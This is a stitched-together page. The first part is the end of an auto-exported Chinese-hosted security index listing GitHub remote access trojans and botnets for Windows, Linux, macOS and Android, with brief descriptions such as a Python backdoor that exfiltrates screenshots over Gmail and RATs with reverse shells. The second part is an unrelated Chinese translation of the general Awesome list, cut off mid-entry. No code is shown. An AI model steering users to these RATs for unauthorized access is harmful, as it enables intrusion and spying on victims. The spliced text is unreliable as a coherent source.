[landonpowell/orwell-rat-and-botnet](https://github.com/landonpowell/orwell-rat-and-botnet) Orwell is a RAT and Botnet designed as a trio of programs by Landon Powell. - [**17**Star][17d] [YARA] [deadbits/yara-rules](https://github.com/deadbits/yara-rules) Collection of YARA signatures from individual research - [**17**Star][2m] [PHP] [rizer0/rat-hunter](https://github.com/rizer0/rat-hunter) detect trojans by easy way - [**14**Star][3y] [Java] [mhelwig/adwind-decryptor](https://github.com/mhelwig/adwind-decryptor) Simple decrypter for Java AdWind, jRAT, jBifrost trojan - [**14**Star][2y] [Py] [mitre/caldera-agent](https://github.com/mitre/caldera-agent) - [**14**Star][1y] [shifa123/maarc](https://github.com/shifa123/maarc) A Python - Remote Administration Tool (RAT) - [**12**Star][2y] [JS] [node-rat/noderat](https://github.com/node-rat/noderat) NodeRat is remote access tool made with NodeJS and python - [**11**Star][3y] [Pascal] [mwsrc/schwarze-sonne-rat](https://github.com/mwsrc/schwarze-sonne-rat) SS-RAT (Schwarze-Sonne-Remote-Access-Trojan) - [**10**Star][7m] [Go] [alanbaumgartner/aurora](https://github.com/alanbaumgartner/aurora) Aurora Remote Administration Tool - [**10**Star][12m] [Py] [user696/mrrat](https://github.com/user696/mrrat) - [**9**Star][2y] [Py] [cisco-talos/remcos-decoder](https://github.com/cisco-talos/remcos-decoder) Talos Decryptor POC for Remcos RAT version 2.0.5 and earlier - [**9**Star][8d] [Py] [federicochieregato/darkfox](https://github.com/federicochieregato/darkfox) Remote access trojan created using WinRar with firefox installer and python Reverse Shell embedded. - [**8**Star][2y] [thejollysin/i-wish-i-were-at-defcon-25-hack-a-thon](https://github.com/thejollysin/i-wish-i-were-at-defcon-25-hack-a-thon) My own "I wish I were at DefCon 25" Hack-a-Thon - [**8**Star][4y] [C++] [xyl2k/black-eye-rsa-attacking-toolkit-v0.1f-compiled](https://github.com/xyl2k/black-eye-rsa-attacking-toolkit-v0.1f-compiled) The great RSA Attacking Toolkit compiled for Windows - [**7**Star][2y] [C#] [advancedhacker101/android-c-sharp-rat-server](https://github.com/advancedhacker101/android-c-sharp-rat-server) This is a plugin for the c# R.A.T server providing extension to android based phone systems - [**7**Star][6m] [Py] [e-rror/hiroo](https://github.com/e-rror/hiroo) - [**7**Star][2y] [C#] [mitre/caldera-crater](https://github.com/mitre/caldera-crater) - [**7**Star][1y] [JS] [roccomuso/netrat](https://github.com/roccomuso/netrat) Damn easy multiplatform Node.js RAT generator. - [**7**Star][2y] [Py] [lukebob-zz/c2-pwn](https://github.com/lukebob-zz/c2-pwn) Uses Shodan API to pull down C2 servers to run known exploits on them. - [**6**Star][18d] [Py] [apacketofsweets/apollo](https://github.com/apacketofsweets/apollo) A simple, lightweight Remote Access Tool written in Python - [**6**Star][1y] [Py] [z4rk/winshell](https://github.com/z4rk/winshell) Python opensource RAT/Botnet - [**6**Star][4y] [Visual Basic .NET] [gaiththewolf/d-rat_vb.net_mysql_php](https://github.com/gaiththewolf/d-rat_vb.net_mysql_php) D-RAT [VB.NET]+[MySQL]+[PHP] - [**6**Star][7d] [PHP] [katsana/remote-control](https://github.com/katsana/remote-control) Grant remote access to user account without sharing credentials - [**5**Star][8m] [Go] [alepacheco/client](https://github.com/alepacheco/Client) Windows, OS X and linux RAT client - [**5**Star][17d] [C++] [melardev/xeytanwin32-rat](https://github.com/melardev/xeytanwin32-rat) WORK IN PROGRESS. RAT written in C++ using Win32 API - [**4**Star][16d] [C++] [izanbf1803/rat-cpp-prototype](https://github.com/izanbf1803/rat-cpp-prototype) A simple RAT. - [**4**Star][3m] [C++] [melardev/xeytanwxcpp-rat](https://github.com/melardev/xeytanwxcpp-rat) Work in Progress. RAT written in C++ using wxWidgets - [**3**Star][2y] [Py] [bedazzlinghex/memory-analysis](https://github.com/bedazzlinghex/memory-analysis) Contains tools to perform malware and forensic analysis in Memory - [**3**Star][1m] [Kotlin] [eskatos/creadur-rat-gradle](https://github.com/eskatos/creadur-rat-gradle) Apache RAT (Release Audit Tool) Gradle Plugin - [**3**Star][1m] [Py] [gbrn1/pirate](https://github.com/gbrn1/pirate) Python Remote Access Tool - [**2**Star][4y] [Py] [dakotanelson/multicat](https://github.com/dakotanelson/multicat) PoC RAT using the sneaky-creeper data exfiltration library - [**2**Star][4y] [Visual Basic .NET] [retrobyte/shadowtech-rat](https://github.com/retrobyte/shadowtech-rat) An example of a remote administration tool. - [**None**Star][socprime/sobaken-rat-detector](https://github.com/socprime/sobaken-rat-detector) ### <a id="1da695fd3dec80b88aadb1b7c724330f"></a>Windows - [**610**Star][1y] [PS] [fortynorthsecurity/wmimplant](https://github.com/FortyNorthSecurity/WMImplant) This is a PowerShell based tool that is designed to act like a RAT. Its interface is that of a shell where any command that is supported is translated into a WMI-equivalent for use on a network/remote machine. WMImplant is WMI based. - [**518**Star][8m] [Visual Basic .NET] [nyan-x-cat/lime-rat](https://github.com/nyan-x-cat/lime-rat) LimeRAT | Simple, yet powerful remote administration tool for Windows (RAT) - [**493**Star][6m] [Py] [viralmaniar/powershell-rat](https://github.com/viralmaniar/powershell-rat) Python based backdoor that uses Gmail to exfiltrate data through attachment. This RAT will help during red team engagements to backdoor any Windows machines. It tracks the user activity using screen capture and sends it to an attacker as an e-mail attachment. - [**360**Star][8d] [C#] [nyan-x-cat/asyncrat-c-sharp](https://github.com/nyan-x-cat/asyncrat-c-sharp) Open-Source Remote Administration Tool For Windows C# (RAT) - [**340**Star][3y] [Pascal] [malwares/remote-access-trojan](https://github.com/malwares/remote-access-trojan) Windows Remote-Access-Trojan - [**229**Star][4y] [Py] [hood3drob1n/jsrat-py](https://github.com/hood3drob1n/jsrat-py) This is my implementation of JSRat.ps1 in Python so you can now run the attack server from any OS instead of being limited to a Windows OS with Powershell enabled. - [**149**Star][4m] [Py] [safebreach-labs/sireprat](https://github.com/safebreach-labs/sireprat) Remote Command Execution as SYSTEM on Windows IoT Core - [**119**Star][11d] [C#] [dannythesloth/vanillarat](https://github.com/dannythesloth/vanillarat) VanillaRat is an advanced remote administration tool completely coded in C# for Windows. - [**117**Star][8d] [Py] [thelinuxchoice/pyrat](https://github.com/thelinuxchoice/pyrat) Windows Remote Administration Tool (RAT) - [**106**Star][9m] [C#] [r-smith/splice-admin](https://github.com/r-smith/splice-admin) A remote Windows administration tool. You know you want it. - [**104**Star][2y] [Py] [syss-research/outis](https://github.com/syss-research/outis) a custom Remote Administration Tool (RAT) or something like that. It was build to support various transport methods (like DNS) and platforms (like Powershell). - [**70**Star][3m] [PS] [dsccommunity/certificatedsc](https://github.com/dsccommunity/CertificateDsc) DSC resources to simplify administration of certificates on a Windows Server. - [**67**Star][4y] [C#] [stphivos/rat-shell](https://github.com/stphivos/rat-shell) Windows Remote Access Trojan (RAT) - [**39**Star][2m] [Py] [swordf1sh/moderat](https://github.com/swordf1sh/moderat) Experimental Windows Remote Administration and Spy Tool in Python + GUI - [**20**Star][1y] [Visual Basic] [nyan-x-cat/asyncrat](https://github.com/nyan-x-cat/asyncrat) Remote Administration Tool For Windows - [**17**Star][6m] [Py] [operatorequals/smbrat](https://github.com/operatorequals/smbrat) A Windows Remote Administration Tool in Visual Basic with UNC paths - [**16**Star][6m] [PS] [yschgroup/skyrat](https://github.com/yschgroup/skyrat) SkyRAT - Powershell Remote Administration Tool ### <a id="fa50a59bde92471d60f030ea12817540"></a>Linux - [**131**Star][8m] [C] [abhishekkr/n00brat](https://github.com/abhishekkr/n00brat) Remote Administration Toolkit (or Trojan) for POSiX (Linux/Unix) system working as a Web Service - [**68**Star][10m] [JS] [webxscan/linux_rat](https://github.com/webxscan/linux_rat) Linux Reverse Shell RAT - [**51**Star][15d] [C] [thibault-69/rat-hodin-v2.9](https://github.com/Thibault-69/RAT-Hodin-v2.9) Remote Administration Tool for Linux - [**20**Star][2m] [C] [lillypad/swamp-rat](https://github.com/lillypad/swamp-rat) A Linux RAT in C - [**7**Star][5m] [C] [ctsecurity/stealth-kid-rat](https://github.com/ctsecurity/Stealth-Kid-RAT) Stealth Kid RAT (SKR) is an open source Linux remote administration tool written in C. Licensed under MIT. The SKR project is fully developed and tested on Debian GNU-Linux (Deb 9.3 "Stretch") platform. The RAT will soon be available on Windows platform by mid 2018. ### <a id="674863bb36ce7a2f814934480c7fd3d2"></a>Apple - [**430**Star][9d] [ObjC] [sap/macos-enterprise-privileges](https://github.com/sap/macos-enterprise-privileges) For Mac users in an Enterprise environment this app ensures secure environment and yet gives the User control over administration of their machine by elevating their level of access to Administrator privilege on macOS X. Users can set the time frame using Preferences to perform specific tasks such as install or remove an application. - [**75**Star][4y] [Pascal] [xlinshan/coldroot](https://github.com/xlinshan/coldroot) Mac OS Trojan (RAT) made with love <3 - [**74**Star][1y] [Py] [kdaoudieh/bella](https://github.com/kdaoudieh/bella) Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS. - [**21**Star][2m] [Py] [cys3c/evilosx](https://github.com/cys3c/evilosx) A pure python, post-exploitation, remote administration tool (RAT) for macOS / OS X. ### <a id="6ed48c90d1bd6a31a4ea7380f4f5768a"></a>Android - [**1815**Star][8m] [Smali] [ahmyth/ahmyth-android-rat](https://github.com/ahmyth/ahmyth-android-rat) Android Remote Administration Tool - [**939**Star][7y] [designativedave/androrat](https://github.com/designativedave/androrat) Remote Administration Tool for Android devices - [**931**Star][6y] [Java] [wszf/androrat](https://github.com/wszf/androrat) Remote Administration Tool for Android - [**172**Star][2y] [Java] [the404hacking/androrat](https://github.com/the404hacking/androrat) AndroRAT | Remote Administrator Tool for Android OS Hacking - [**138**Star][3y] [Java] [mwsrc/betterandrorat](https://github.com/mwsrc/betterandrorat) Android Remote Access Trojan - [**66**Star][7y] [Java] [ibrahimbalic/androidrat](https://github.com/ibrahimbalic/androidrat) Android RAT - [**64**Star][16d] [Java] [globalpolicy/phonemonitor](https://github.com/globalpolicy/phonemonitor) A Remote Administration Tool for Android devices - [**50**Star][3y] [Py] [alessandroz/pupy](https://github.com/alessandroz/pupy) Pupy is an opensource, multi-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) mainly written in python. - [**6**Star][2y] [rev-code/androidclient](https://github.com/rev-code/androidclient) Android remote administration client *** ## <a id="39ccec75049c60fa1d5dd46fea812331"></a>Post # Contribute Contents auto exported by Our System, please raise Issue if you have any question.

# Github优秀资源中文索引 该项目翻译自***Awesome***,目的是为了提升查阅文档效率。如果能够给到大家帮助，欢迎不吝star。如果有任何问题或者建议也欢迎反馈。 [原文链接](https://github.com/sindresorhus/awesome) ## 优质中文内容 - [软件架构师之路](https://github.com/gamedilong/SoftwareArchitect-CN) - [Nodejs中文优质资源索引集](https://github.com/gamedilong/awesome-nodejs-cn#readme) ## 目录 - [平台](#平台) - [编程语言](#编程语言) - [前端开发](#前端开发) - [后端开发](#后端开发) - [计算机科学](#计算机科学) - [大数据](#大数据) - [理论](#理论) - [书籍](#书籍) - [编辑器](#编辑器) - [游戏](#游戏) - [开发环境](#开发环境) - [娱乐](#娱乐) - [数据库](#数据库) - [多媒体](#多媒体) - [学习](#学习) - [安全](#安全) - [内容管理系统](#内容管理系统) - [硬件](#硬件) - [商业](#商业) - [工作](#工作) - [网络](#网络) - [分散式系统](#分散式系统) - [高等教育](#高等教育) - [其他](#其他) - [相关内容](#相关内容) --- ## 平台 - [Node.js](https://github.com/gamedilong/awesome-nodejs-cn#readme) - 基于Chrome V8 JavaScript引擎的异步非阻塞事件驱动JavaScript运行时Nodejs。 - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - 基于Nodejs的跨平台资源。 - [前端](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - 苹果手机和平板电脑的移动操作系统。 - [Android](https://github.com/JStumpp/awesome-android#readme) - 谷歌的移动端操作系统Android。 - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - 使用JavaScript / HTML / CSS的跨平台本机桌面应用程序。 - [Cordova](https://github.com/busterc/awesome-cordova#readme) - 移动端基于webview JS Api的混合开发框架. - [React Native](https://github.com/jondot/awesome-react-native#readme) - 开源的跨平台移动应用开发框架。 - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - 移动应用程序开发IDE，测试和分发。 - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - 虚拟机，可让您编写更有效，更强大的Linux系统跟踪和监视。 - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - 基于Arch Linux的Linux发行版和项目。 - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - 苹果Mac电脑的操作系统. - [命令行工具](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [屏保](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [应用](https://github.com/jaywcjlove/awesome-mac#readme) - [开源应用](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Apple Watch的操作系统。 - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - 移动开发工具。 - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - 云平台即服务。 - [Raspberry Pi(树莓派)](https://github.com/thibmaek/awesome-raspberry-pi#readme) - 旨在计算机编程教育而设计的信用卡大小计算机。 - [Qt](https://github.com/JesseTG/awesome-qt#readme) - 跨平台的GUI开发工具。 - [浏览器插件](https://github.com/fregante/Awesome-WebExtensions#readme) - 浏览器插件资源集. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - 使用Ruby编写适用于iOS，Android，macOS，tvOS和watchOS的跨平台原生应用程序。 - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - 创建App针对不同的TV平台。 - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - 简洁干净的Linux桌面环境。 - [KDE](https://github.com/francoism90/awesome-kde#readme) - 致力于创造开放和用户友好的计算体验的自由软件社区。 - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - C#和VB.NET语言的开源编译器和代码分析API。 - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - 虚拟家庭助理。 - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - 面向开发者的云计算平台。 - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google的移动SDK，用于从用Dart编写的单个代码库构建本地iOS和Android应用程序。 - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - 将本地控制和隐私放在首位的开源家庭自动化。 - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - 面向开发者和公司的云平台。 - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - 基于Google云平台的应用开发平台。 - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - 帮助您构建机器人应用程序的软件库和工具集。 - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - 可视化并存储来自任何设备的数据。 - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN、DNS、DDoS安全保障相关. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - 谷歌助理开发平台。 ## 编程语言 - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [样式规范](https://github.com/standard/awesome-standard#readme) - 样式规范&语法检查。 - [必看视频](https://github.com/bolshchikov/js-must-watch#readme) - [简单有用的JS小贴身集](https://github.com/loverajoel/jstips#readme) - [网络层相关](https://github.com/Kikobeats/awesome-network-js#readme) - [精选npm包](https://github.com/parro-it/awesome-micro-npm-packages#readme) 精选的小型Node.js模块清单 - [骚操作npm包](https://github.com/feross/awesome-mad-science#readme) - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - 包管理工具. - [AVA](https://github.com/avajs/awesome-ava#readme) - 测试工具. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - [函数式编程](https://github.com/stoeffel/awesome-fp-js#readme) - [观察者模式](https://github.com/sindresorhus/awesome-observables#readme) - [npm脚本](https://github.com/RyanZim/awesome-npm-scripts#readme). - [30秒上手的代码片段](https://github.com/30-seconds/30-seconds-of-code#readme) - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - [教程](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [各种资源集](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Python 3中的异步I / O。 - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - 音频/音乐科学研究. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - Python嵌入式单片机相关。 - [数据科学](https://github.com/krzjoa/awesome-python-data-science#readme) - 数据分析和机器学习. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Python的可选静态类型. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - 基于LLVM为Scala优化提前编译器。 - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - 流行的安全的面向对象语言，旨在灵活地“编写一次，在任何地方运行”。 - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - 服务端脚本语言。 - [Composer](https://github.com/jakoch/awesome-composer#readme) - 包管理工具. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - 用于JVM的Haskell。 - [CMake](https://github.com/onqtam/awesome-cmake#readme) - 构建，测试和打包软件。 - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - 面向对象的语言，针对Adobe AIR。 - [Eta](https://github.com/sfischer13/awesome-eta#readme) - JVM的功能性编程语言。 - [Idris](https://github.com/joaomilho/awesome-idris#readme) - 具有Haskell和ML影响的依赖类型的通用纯函数式编程语言. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - 用于表示量子算法的领域特定的编程语言。 - [Imba](https://github.com/koolamusic/awesome-imba#readme) - 受Ruby和Python启发的编程语言，可编译为高性能JavaScript。 - [Vala](https://github.com/desiderantes/awesome-vala#readme) - 旨在充分利用GLib和GNOME生态系统的编程语言，同时保留C代码的速度。 ## 前端开发 - [ES6 工具](https://github.com/addyosmani/es6-tools#readme) - [网站性能优化](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web 工具](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - [关键路径工具](https://github.com/addyosmani/critical-path-css-tools#readme) - [可扩展性](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [必看视频](https://github.com/AllThingsSmitty/must-watch-css#readme) - [有用小贴士](https://github.com/AllThingsSmitty/css-protips#readme) - [框架](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme). - [Relay](https://github.com/expede/awesome-relay#readme) - 构建数据驱动的React应用程序的框架。 - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - [Web 组件集](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - web app 框架. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - web app 框架. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - web app 框架. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - [SVG](https://github.com/willianjusten/awesome-svg#readme) - 基于XML的矢量图像格式。 - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript库. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript工具集. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - Web App 框架. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [网页排版](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - 用于产生动态，交互式数据可视化的库。 - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - 易于使用的JavaScript库用于DOM操作. - [贴士](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [离线优先](https://github.com/pazguille/offline-first#readme) - [静态网站服务](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - 函数式编程&响应式框架 - [编辑器资源集](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) -Web App 框架. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) -Web App 框架. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App 框架. - [图表资源集](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS 工具. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - ract富文本编辑器框架 - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [渐进式Web应用资源集](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App框架. - [Redux](https://github.com/brillout/awesome-redux#readme) - 状态管理工具 - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - 模块构建工具. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - 模块构建工具. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS 预处理器. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - 企业集的 UI 设计语言. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS 预处理器. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - 用于渲染3D图形的javaScript API。 - [Preact](https://github.com/ooade/awesome-preact#readme) - Web App 框架。 - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - 服务器渲染的React应用的框架。 - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - 用于构建Web应用程序的微型JavaScript库。 - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - 用于JavaScript的HTML模板库。 - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - 基于客户端JavaScript，可重用API和预建标记的现代Web开发体系结构。 - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web开发技术栈，以WordPress为后端，以Gatsby为前端。 - [移动开发最佳实践集](https://github.com/myshov/awesome-mobile-web-development#readme) - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - UI组件的开发环境。 - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - 使用C＃/ Razor和HTML的.NET Web框架在的浏览器中通过WebAssembly的方式运行。 - [Web性能指标](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - 有助于了解页面速度和用户体验的指标. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - 实用优先的CSS框架，用于快速UI开发 ## 后端开发 - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python 框架. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - 自动化虚拟机环境. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python 框架. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP 框架. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP 框架. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP 框架. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Ruby的 Web app 框架 . - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - 包管理. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP 框架. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web 服务器. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java 框架. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - 自动化Linux容器操作的开源平台。 - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP 轻量框架. - [无服务计算资源集](https://github.com/pmuens/awesome-serverless#readme) - 无服务器计算和无服务器架构。 - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app框架 - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - 在JVM上构建响应式应用程序的工具包。 - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - 用于构建、更改和版本控制基础结构的工具。 - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - 服务器端的Swift开发。 - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app 框架. ## 计算机科学 - [大学课程](https://github.com/prakhar1989/awesome-courses#readme) - [数据科学](https://github.com/bulutyazilim/awesome-datascience#readme) - [实验](https://github.com/siboehm/awesome-learn-datascience#readme) - [机器学习](https://github.com/josephmisiti/awesome-machine-learning#readme) - [实验](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [Ruby机器学习](https://github.com/arbox/machine-learning-with-ruby#readme) - 使用Ruby学习、实现和应用机器学习。 - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - 苹果机器学习框架的模型。 - [H2O](https://github.com/h2oai/awesome-h2o#readme) - 用Java编写的开源分布式机器学习平台，使用R、Python和Scala中的api。 - [语音与自然语言处理](https://github.com/edobashira/speech-language-processing#readme) - [Ruby自然语言处理](https://github.com/arbox/nlp-with-ruby#readme) - [问答](https://github.com/seriousmac/awesome-qa#readme) - 用机器用自然语言提问和回答的科学。 - [语言学](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [密码学](https://github.com/sobolevn/awesome-cryptography#readme) - [论文](https://github.com/pFarb/awesome-crypto-papers#readme) - 非密码学家使用密码学的理论基础. - [计算机视觉](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [深度学习](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - 神经网络. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - 机器学习的开发库。 - [论文](https://github.com/terryum/awesome-deep-learning-papers#readme) - 最常被引用的深度学习论文。 - [学习资源](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [深度学习计算机视觉相关](https://github.com/kjw0612/awesome-deep-vision#readme) - [开源社区大学](https://github.com/ossu/computer-science#readme) - 